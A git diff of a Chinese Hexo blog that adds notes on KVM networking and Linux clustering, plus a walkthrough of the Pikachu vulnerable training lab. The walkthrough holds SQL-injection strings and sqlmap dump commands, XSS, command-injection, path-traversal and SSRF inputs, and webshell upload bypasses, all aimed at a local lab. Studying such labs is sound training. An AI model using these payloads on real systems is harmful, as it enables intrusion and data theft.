+### KVM的远程管理
+
+> - ssh
+
+- VNC
+- X-Windows
+
+### KVM三种网络模式
+
+> Bridged（桥接模式）、NAT（网络地址转换模式）、Host-Only（仅主机模式）。
+
+#### Bridged（桥接模式）
+
+**什么是桥接模式？桥接模式就是将主机网卡与虚拟机虚拟的网卡利用虚拟网桥进行通信。在桥接的作用下，类似于把物理主机虚拟为一个交换机，所有桥接设置的虚拟机连接到这个交换机的一个接口上，物理主机也同样插在这个交换机当中，所以所有桥接下的网卡与网卡都是交换模式的，相互可以访问而不干扰。在桥接模式下，虚拟机ip地址需要与主机在同一个网段，如果需要联网，则网关与DNS需要与主机网卡一致。**
+
+#### NAT（地址转换模式）
+
+**刚刚我们说到，如果你的网络ip资源紧缺，但是你又希望你的虚拟机能够联网，这时候NAT模式是最好的选择。NAT模式借助虚拟NAT设备和虚拟DHCP服务器，使得虚拟机可以联网。在NAT模式中，主机网卡直接与虚拟NAT设备相连，然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上，这样就实现了虚拟机联网。**
+
+#### Host-Only（仅主机模式）
+
+**Host-Only模式其实就是NAT模式去除了虚拟NAT设备，然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的，Host-Only模式将虚拟机与外网隔开，使得虚拟机成为一个独立的系统，只与主机相互通讯**
+
+> - 桥接模式：自动生成的IP地址会随着主机的IP随时变化。
+
+- NAT模式：下虚拟机的IP地址一旦生成，就不会改变了。
\ No newline at end of file
diff --git a/source/_posts/cloud_linux_5.md b/source/_posts/cloud_linux_5.md
new file mode 100644
index 0000000..9aeabd7
--- /dev/null
+++ b/source/_posts/cloud_linux_5.md
@@ -0,0 +1,158 @@
+---
+title: 云计算 - Linux集群
+date: 2023-05-18 12:56
+tags: [云计算, 笔记]
+categories: 笔记
+thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg"
+---
+
+## 概述
+
+> - 群集基础
+
+- [Linux群集概述](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump0)
+- pacemaker+ corosync+ pcS
+ - 演示:无共享存储的Web群集构建
+ - 演示:基于NFS共享存储的Web群集构建
+- 使用Linux-IO构建iSCSI存储
+ - 演示:基于SAN共享存储的MySQL群集构建
+- DRBD
+ - 演示:基于DRBD的MySQL群集构建
+- GFS2
+ - 演示:基于DRBD+ GFS2的Active/Active的Web群集构建
+
+## Linux群集概述
+
+### 什么是群集?
+
+> 集群是将-组计算机和存储设备组成在一起,作为一个整体系统来提供用户访问
+> 集群中计算机共同来提供:
+> \* 分担进程的负载
+> \* 自动恢复集群中的一个或多个组件的失败
+
+#### 群集术语
+
+| 术语 | 描述 |
+| -------------- | ------------------------------------------------------------ |
+| 节点 | 参与群集的服务器 |
+| 资源 | 托管在集群中设备或服务,被应用程序或最终用户直接或间接地访问 |
+| 故障转移群集 | 一种高可用性集群类型。 在一一个时刻 ,资源只能单个服务器所拥有 |
+| 负载平衡 | 负荷由由多个节点分担处理的集群类型 |
+| 容错 | 集群的一个关键组件,能够在硬件或软件出现问题时还能继续运作 |
+| 计划停机时间 | 由于更新或其他维护操作,应用程序不可用的时间 |
+| 非计划停机时间 | 由于组件失败,关键应用程序不可用的时间 |
+
+#### 群集类型
+
+| 群集类型 | 描述 |
+| ------------------- | -------------------------------------------------------- |
+| 高可用(HA)群集 | 如果正在运行服务器遭遇失败,由其他的节点提供备份 |
+| 负载平衡群集 | 将传入的网络请求分布到各个节点进行处理 |
+| 高性能计算(HPC)群集 | 计算任务分布在多个节点 |
+| 网格计算群集 | 独立的节点完成的被分派来任务或集群中其余部分分解的来工作 |
+
+#### 群集实现
+
+| 群集分类 | 描述 |
+| ------------ | ------------------------------------------------------------ |
+| 共享设备群集 | 在节点之间共享数据和其他资源 如果两个系统必须访问相同的数据,这些数据必须从磁盘读两次或从一个系统复制到另外一系统 |
+| 无共享群集 | 无共享群集在每个节点有单独的资源 一个时刻仅有一个节点访问特定的资源 失败时,其他节点会取得对象的所有权 |
+
+#### 群集优势
+
+> - [可用性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump1)(Availability)
+> - 集群增加的处于可操作状态的时间百分比
+> 可伸缩性(Scalability)
+> - 群集通过根据需要逐步增加资源,来满足所有处理能力或可用性要求
+> [可管理性](https://www.atdunbg.xyz/2023/05/18/cloud_linux_5/#jump2)(Manageability)
+> - 集群使配置、更新和添加等管理更加容易
+
+### 什么是可用性?
+
+> 通过以下方式提高系统的可用性百分比:
+> \* 增加平均失效到达时间(MTTF mean time to failure)
+> \* 减少平均恢复时间(MTTR mean time to recover)
+
+| 可用性等级 | 每年宕机时间 |
+| ------------- | ------------ |
+| 2个9(99%) | 3.7天 |
+| 3个9(99.9%) | 8.8小时 |
+| 4个9(99.99%) | 53分钟 |
+| 5个9(99.999%) | 5.3分钟 |
+
+
+
+
+
+### 什么是可扩展性?
+
+> 提高可扩展性的方式有:
+
+- Scaling up
+ - 向一个节点添加更多的资源,如内存、CPU和磁盘
+- Scaling out
+ - 添加更多的节点以分担负荷
+- Consolidation
+ - 通过将多个服务器负载迁移到一个服务器或少量的高配置的计算机,让少量的服务器承担更多的负荷。
+
+### 什么是集群的可管理性?
+
+> - 群集通过以下方式来提高和可管理性:
+
+- 灾难恢复
+ - 集群帮助应用程序的从灾难中进行恢复
+- 更新管理
+ - 集群使应用程序、操作系统在升级更新时,仍然可用
+
+### 微软SQL Server故障转移群集工作原理
+
+
+
+### 网络负载平衡( NLB)群集
+
+> - 为网络服务提供可扩展性
+> - 增强接收TCP和UDP流量的网络相关应用程序的可用性
+> - 包含所有活动节点
+> - 运行需要实现负荷平衡的基于IP的应用程序或服务副本,在每个节点保存所需的数据
+
+### 什么是群集化的服务和资源?
+
+> - 群集化的服务
+> - 安装在故障转移群集以实现高可用的服务或应用程序
+> - 在一个活动节点上,也可被移动到其它节点
+> - 资源
+> - 组成群集化服务的组件
+> - 在一个时间,只能运行在一个节点之 上
+> - 当一个节点失效时,可以被移动到别个一个节点
+> - 包含的组件有共享磁盘,主机名和IP地址等
+
+### 故障转移群集和网络
+
+> - 故障转移群集使用以下网络:
+> - 公共网络:用于客户与群集服务之间的通信
+> - 私有网络:用于节点之间的通信
+> - 存储网络:与外部存储系统通信
+
+- 一个网络可同时支持客户与节点间通信
+- 推荐使用多网以提供增强的性能和冗余
+
+### 什么是仲裁(Quorum)?
+
+> 在故障转移集群,仲裁定义足够的可用集群成员提供服务
+>
+> - 仲裁(Quorum):
+> - 基于投票(vote)的
+> - 根据不同仲裁模式，可使用节点,文件共享或共享磁盘用来投票
+> - 当有足够的票数时,允许故障转移群集保持在线
+
+- 合法:
+ - total nodes < 2 * active_ nodes
+
+### 微软群集仲裁模式类型
+
+| 仲裁模式 | 描述 |
+| ---------------------- | ------------------------------------------------------------ |
+| 节点多数模式 | 仅有群集中的节点有vote 当超过半数的节点在线时,才满足Quorum要求 |
+| 节点和磁盘多数模式 | 群集中的节点和见证(witness)磁盘有vote 当超过半数的vote在线时,才满足Quorum要求 |
+| 节点和文件共享多数模式 | 群集中的节点和见证(witness)文件共享有vote 当超过半数的vote在线时,才满足Quorum要求 |
+| 非多数:仅磁盘模式 | 仅quorum共享磁盘有vote 当共享磁盘在线时,才满足Quorum要求 |
diff --git a/source/_posts/hello-world.md b/source/_posts/hello-world.md
index 821780c..2594a3c 100644
--- a/source/_posts/hello-world.md
+++ b/source/_posts/hello-world.md
@@ -1,6 +1,11 @@
---
title: Hello World
+date: 2022-01-01 12:00:00
+tags: ["hello world"]
+categories: "hello world"
---
+
+
Welcome to [Hexo](https://hexo.io/)! This is your very first post. Check [documentation](https://hexo.io/docs/) for more info. If you get any problems when using Hexo, you can find the answer in [troubleshooting](https://hexo.io/docs/troubleshooting.html) or you can ask me on [GitHub](https://github.com/hexojs/hexo/issues).
## Quick Start
diff --git a/source/_posts/pikachu_practice.md b/source/_posts/pikachu_practice.md
new file mode 100644
index 0000000..2b925f2
--- /dev/null
+++ b/source/_posts/pikachu_practice.md
@@ -0,0 +1,669 @@
+---
+title: Pikachu练习记录
+date: 2023-08-10 15:06
+tags: [Pikachu, 靶场, 网络安全]
+categories: Pikachu
+thumbnail: "https://hexoimage.pages.dev/file/43665ba95443e49885078.jpg"
+---
+
+## Pikachu练习记录
+
+## 0x01 Pikachu靶场
+
+Pikachu是一个带有漏洞的Web应用系统，在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习，那么Pikachu可能正合你意。
+
+靶场链接：[Pikachu ](https://github.com/zhuifengshaonianhanlu/pikachu)
+
+## 0x02 暴力破解
+
+### 基于表单的暴力破解
+
+如题，直接放burp里暴力破解即可
+
+### 验证码绕过（on server）
+
+在intruder里同一个验证码可重复使用
+
+### 验证码绕过（on client）
+
+在intruder里同一个验证码可重复使用，也可以审查元素把相关的验证码代码删掉，不影响
+
+### Token防爆破？
+
+多次抓包后发现，每次抓取的数据包中都含有下次请求所需要的token
+
+
+
+可以用burp里Intruder进行爆破，爆破类型用Pitchfork，爆破变量为password和token
+
+
+
+
+
+对于token载荷相关设置，Payload type选择为 Recursive grep（递归搜索）
+
+
+然后在设置中的Grep - Extract中添加过滤项，找到token的位置，进行添加，同时把token值复制一下
+
+
+
+最后填写下一个token值开始爆破
+
+
+
+
+
+## 0x03 Cross-Site Scripting
+
+### 反射型xss（get）
+
+输入框被限制了最大输入长度，但是可以通过审查元素修改maxlength值来解除限制
+
+
+
+```
+输入框直接上脚本
+ raw
+
+ endraw
+```
+
+### 反射型xss（post）
+
+```
+登陆进去后输入框内输入以下内容
+
+```
+
+### 存储型xss
+
+```
+
+```
+
+### DOM型xss
+
+输入hello正常文本
+
+
+
+输入下方文本
+
+```
+#' onclick=alert('hello')>
+```
+
+
+
+### DOM型xss-x
+
+```
+' onclick=alert('hello')>
+```
+
+输入信息同时也会显示在url输入框里。
+
+
+
+### xss之盲打
+
+```
+留言板输入：
+
+```
+
+
+
+提示/xssblind/admin_login.php，登陆后台发现脚本会立即执行
+
+### xss之过滤
+
+大小写绕过
+
+```
+
+```
+
+### xss之htmlspecialchars
+
+```
+' onclick='alert(1)'
+
+' onclick='javascript:alert(document.cookie)'
+```
+
+### xss之href输出
+
+js伪协议绕过
+
+```
+javascript:alert(1)
+```
+
+### xss之js输出
+
+输入信息通过审查元素可以看到输入内容在js标签内
+
+
+
+可以先把前面的 -->
+```
+
+## 0x04 CSRF
+
+### CSRF(get)
+
+### CSRF(post)
+
+### CSRF(token)
+
+## 0x05 Sql Inject
+
+### 数字型注入
+
+**1，手动注入**
+
+发现是个选项，无法输入东西 ，直接拦截数据包，在burp里进行修改
+
+
+
+```
+id=1
+#正常回显
+
+id=1'
+#提示报错
+
+id=1 and 1=1
+#正常回显
+
+id=1 and 1=2
+#报错，基本判断为mysql数据库的数字型注入点
+
+
+id=1 or 1=1
+#直接爆破出全部数据
+```
+
+**2，无脑sqlmap**
+
+```
+sqlmap.py -u http://127.0.0.1/vul/sqli/sqli_id.php --data "id=1" --batch -D pikachu -T member --dump
+```
+
+
+
+### 字符型注入
+
+```
+123
+#正常
+
+123'
+#发现报错
+
+123''
+#又是正常了，基本上判定为字符型注入
+
+123' or 1=1 #
+#爆出所有用户
+
+
+
+//附
+
+123' union select database(),2 #
+#查询数据库名称
+
+123' union select table_schema,table_name from information_schema.tables where table_schema="pikachu" #
+#查询表，发现有个users项
+
+123' union select table_name,column_name from information_schema.columns where table_name="users" #
+#查询uesrs表中的内容，发现存在username和password项
+
+123' union select username,password from users #
+#查出信息，但是密码是经过md5加密的，解密一下就行
+```
+
+**sqlmap**
+
+```
+sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T member --batch --dump
+```
+
+### 搜索型注入
+
+由于没有过滤“%”，“%”可以进行匹配任意字符，与linux中的”*“类似
+
+**sqlmap**
+
+```
+sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --batch -D pikachu -T member --dump
+```
+
+### xx型注入
+
+用123‘测试发现报错中含有一个反括号，
+
+
+
+那就构造以下payload：
+
+```
+123') or 1=1 #
+```
+
+**sqlmap**
+
+```
+python sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_x.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --batch -D pikachu -T member --dump
+```
+
+### “insert/update”注入
+
+注册一下账户，然后brup抓包，随便选一个变量，修改如下
+
+
+
+```
+' and extractvalue(1,concat('~',(select database()))) and '1'='1
+' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
+
+
+# 报错注入两个典型的函数
+extractvalue() 是mysql对xml文档数据进行查询和修改的xpath函数
+updatexml() 是mysql对xml文档数据进行查询的xpath函数
+```
+
+### “delete”注入
+
+操作同上，在点击删除留言时进行抓包，发现有一个id参数可以进行注入，不过发现注入的参数中不能出现空格，否则空格后面不会进行处理
+
+可以用“+”代替空格
+
+```
++and+updatexml(1,concat(0x7e,database(),0x7e),1)
+```
+
+
+
+### “http header”注入
+
+
+
+用提示给的用户登陆以下发现显示以上信息
+
+直接抓包，然后修改User-Agent或者Accept，
+
+修改如下：
+
+```
+' and extractvalue(1,concat(0x7e,(database()))) and '1'='1
+或
+' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
+```
+
+经测试，cookie中的uname和pw变量也能进行注入
+
+### 盲注（base on boolean）
+
+当输入kobe时显示uid和email
+
+当输入其他的值后显示输入的username不存在
+
+
+
+经测试是用 **‘** 进行闭合的
+
+```
+kobe'
+# 未查到username信息
+
+kobe'and '1'='1
+#可以查到，判定用'闭合
+
+kobe'and length(database())=n#
+# "n"为一个数字，此处为了判定数据库字符的长度，经测试，当n=7时，正常显示，即可判定数据库名字长度为7
+```
+
+burp抓包进行爆破数据库名字
+
+```
+kobe' and substr(database(),1,1)='a'#
+```
+
+
+
+第一个参数修改
+
+
+
+第二个参数修改，爆破字符为a-z ，顺带着添加一个”_”
+
+
+
+**sqlmap**
+
+```
+sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
+```
+
+然后稍微排下序即可爆出数据库名字
+
+
+
+### 盲注（base on time）
+
+增加一个sleep(n)函数，加个判断，用回显时间的长短来判断，剩下的操作和上一样
+
+**sqlmap**
+
+```
+sqlmap.py -u "http://127.0.0.1/vul/sqli/sqli_blind_t.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --batch
+```
+
+### 宽字节注入
+
+引用大佬的链接[https://blog.csdn.net/aa2528877987/article/details/118569895 ](https://blog.csdn.net/aa2528877987/article/details/118569895)
+
+```
+宽字节注入原理：
+
+ GBK 占用两字节
+
+ ASCII占用一字节
+
+ PHP中编码为GBK，函数执行添加的是ASCII编码，MYSQL默认字符集是GBK等宽字节字符集。
+
+ 输入%df和函数执行添加的%5C，被合并成%df%5C。由于GBK是两字节，这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应，所以被当成无效字符。
+
+ %DF’ ：会被PHP当中的addslashes函数转义为“%DF\'” ，“\”既URL里的“%5C”，那么也就是说，“%DF'”会被转成“%DF%5C%27”倘若网站的字符集是GBK，MYSQL使用的编码也是GBK的话，就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
+
+例如：http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=
+
+其对应的sql就是：
+
+select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”
+```
+
+在’前面加个%df也就可以实现逃逸转义，然后burp抓包，剩下操作同上
+
+## 0x06 RCE
+
+### exec”ping”
+
+```
+127.0.0.1&&dir
+#执行完ping指令后同时执行dir指令
+```
+
+### exec”eval”
+
+```
+直接输入 phpinfo();
+```
+
+经过查看源码发现代码如下
+
+
+
+于是尝试用蚁剑进行连接，最后发现修改如下可以成功连接
+
+
+
+
+
+
+
+## 0x07 File Inclusion
+
+### file inclusion(local)
+
+```
+..\..\..\Users\sfd\Desktop\demo.txt
+#直接访问电脑桌面的文件
+```
+
+
+
+### file inclusion(remote)
+
+同标题，还是相同的位置，可以通过输入链接进行访问其他东西
+
+## 0x08 Unsafe file download
+
+### Unsafe file download
+
+当鼠标悬浮在要下载的文件上时，发现左下角有详细链接
+
+那么我们可以修改这个链接指向的filename来进行下载任意文件
+
+
+
+要下载本地文件用法和[File Inclusion(loacl)](#File Inclusion(local))一样，直接在filename=后面添加想要下载文件的相对位置
+
+## 0x09 [unsafe upfileupload]
+
+### client check
+
+先上传一张图片，然后burp抓包，修改后缀后放包即可
+
+
+
+最后用蚁剑连接即可。
+
+### MIME type
+
+直接上传php木马，同样抓包，然后修改Content-Type 为 image/png 即可
+
+
+
+### getimagesize()
+
+添加了对文件进行判断有没有图片特征的函数，直接用cmd命令合成一个图片码即可绕过
+
+```
+copy /b a.png + a.php b.png
+```
+
+
+
+## 0x10 over permission
+
+### 水平越权
+
+首先以lucy的身份进行登录，然后可以看到lucy的信息
+
+```
+http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
+```
+
+这时我们直接修改url里的username，将其指定为kobe,就可以直接查看kobe的信息
+
+```
+http://127.0.0.1/vul/overpermission/op1/op1_mem.php?username=kobe&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF
+```
+
+### 垂直越权
+
+pikachu用户只有查看权限，而admin用户有所有权限
+
+首先登陆admin并添加用户，然后可以获得一个url地址
+
+```
+http://127.0.0.1/vul/overpermission/op2/op2_admin_edit.php
+```
+
+然后我们用pikachu用户登陆，然后直接输入上面的地址，发现可以进入添加用户界面，并且可以正常添加用户，回到admin用户后发现可以看到当前创建的用户
+
+## 0x11 ../../(目录遍历)
+
+### 目录遍历
+
+```
+../../../../Users/sfd/Desktop/demo.txt
+#访问桌面的一个demo.txt 文件
+```
+
+## 0x12 敏感信息泄露
+
+### icanyourABC
+
+F12进行元素审查时发现一个测试用户可以使用
+
+
+
+## 0x13 php反序列化
+
+### php反序列化漏洞
+
+php涉及到序列化的函数有两个，分别是serialize()`和`unserialize()
+
+序列化简单来说就是将一个**对象**转化成可以传输的**字符串**，反序列化就是相反的操作
+
+```
+#举个例子
+class S{
+ public $test="pikachu";
+ }
+
+ $s=new S(); //创建一个对象
+ serialize($s); //把这个对象进行序列化
+
+
+ 序列化后得到的结果是这个样子的 O:1:"S":1:{s:4:"test";s:7:"pikachu";}
+ O:代表object
+ 1:代表对象名字长度为一个字符
+ S:对象的名称
+ 1:代表对象里面有一个变量
+ s:数据类型
+ 4:变量名称的长度
+ test:变量名称
+ s:数据类型
+ 7:变量值的长度
+ pikachu:变量值
+```
+
+反序列化
+
+```
+$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
+ echo $u->test; //得到的结果为pikachu
+```
+
+序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
+
+```
+常见的几个魔法函数:
+ __construct()当一个对象创建时被调用
+
+ __destruct()当一个对象销毁时被调用
+
+ __toString()当一个对象被当作一个字符串使用
+
+ __sleep() 在对象在被序列化之前运行
+
+ __wakeup将在序列化之后立即被调用
+
+漏洞举例:
+
+ class S{
+ var $test = "pikachu";
+ function __destruct(){
+ echo $this->test;
+ }
+ }
+ $s = $_GET['test'];
+ @$unser = unserialize($a);
+
+
+ payload:O:1:"S":1:{s:4:"test";s:29:"";}
+```
+
+## 0x14 XXE
+
+### XXE漏洞
+
+前端将`$_POST['xml']`传递给变量`$xml,` 由于后台没有对此变量进行安全判断就直接使用`simplexml_load_string`函数进行xml解析, 从而导致xxe漏洞
+
+```
+
+
+
+]>
+&test;
+
+
+
+
+
+]>
+&f;
+```
+
+## 0x15 URL重定向
+
+### 不安全的url跳转
+
+修改url=后面的参数
+
+```
+http://127.0.0.1/vul/urlredirect/urlredirect.php?url=https://baidu.com
+```
+
+## 0x16 SSRF
+
+- curl 支持更多协议，有http、https、ftp、gopher、telnet、dict、file、ldap；模拟 Cookie 登录，爬取网页；FTP 上传下载。
+- fopen / file_get_contents 只能使用 GET 方式获取数据
+
+SSRF漏洞常用协议：
+
+### SSRF(curl)
+
+通过url参数直接访问内部资源，或者跳转到其他服务器页面
+
+```
+HTTP(s):最常用到的一种协议，可以用来验证是否存在SSRF漏洞，探测端口以及服务。
+file：本地文件传输协议，可以用来读取任意系统文件
+dict:字典服务器协议，dict是基于查询相应的TCP协议，服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
+ghoper:互联网上使用的分布型的文件搜集获取网络协议，出现在http协议之前。可用于攻击内网应用，可用于反弹shell。
+```
+
+例：
+
+```
+//访问内网链接资源
+http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info2.php
+
+
+//读取D盘根目录a.txt
+http://127.0.0.1/vul/ssrf/ssrf_curl.php?url=file:///D:/a.txt
+
+
+//用dict扫描内网主机开放的端口，端口存在时显示不同的信息
+dict://192.168.1.66:80
+```
+
+### SSRF(file_get_content)
+
+利用file_get_content(“path”)利用传递的参数，通过file参数访问内部资源，或者跳转到其他服务器页面
+
+```
+//直接读取内部文件
+http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=D:/a.txt
+```
+
+php伪协议读取文件
+
+```
+php://filter/read=convert.base64-encode/resource=D:/a.txt
+```
+
+
+
+- **Title:** Pikachu练习记录
\ No newline at end of file
diff --git a/source/categories/index.md b/source/categories/index.md
new file mode 100644
index 0000000..ba6c9c5
--- /dev/null
+++ b/source/categories/index.md
@@ -0,0 +1,5 @@
+---
+title: categories
+date: 2025-10-12 13:39:04
+template: categories
+---
diff --git a/source/images/redefine-avatar.png b/source/images/redefine-avatar.png
new file mode 100644
index 0000000000000000000000000000000000000000..1b94420a4dd57074dcd62a982881548bea693454
GIT binary patch
literal 233019
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
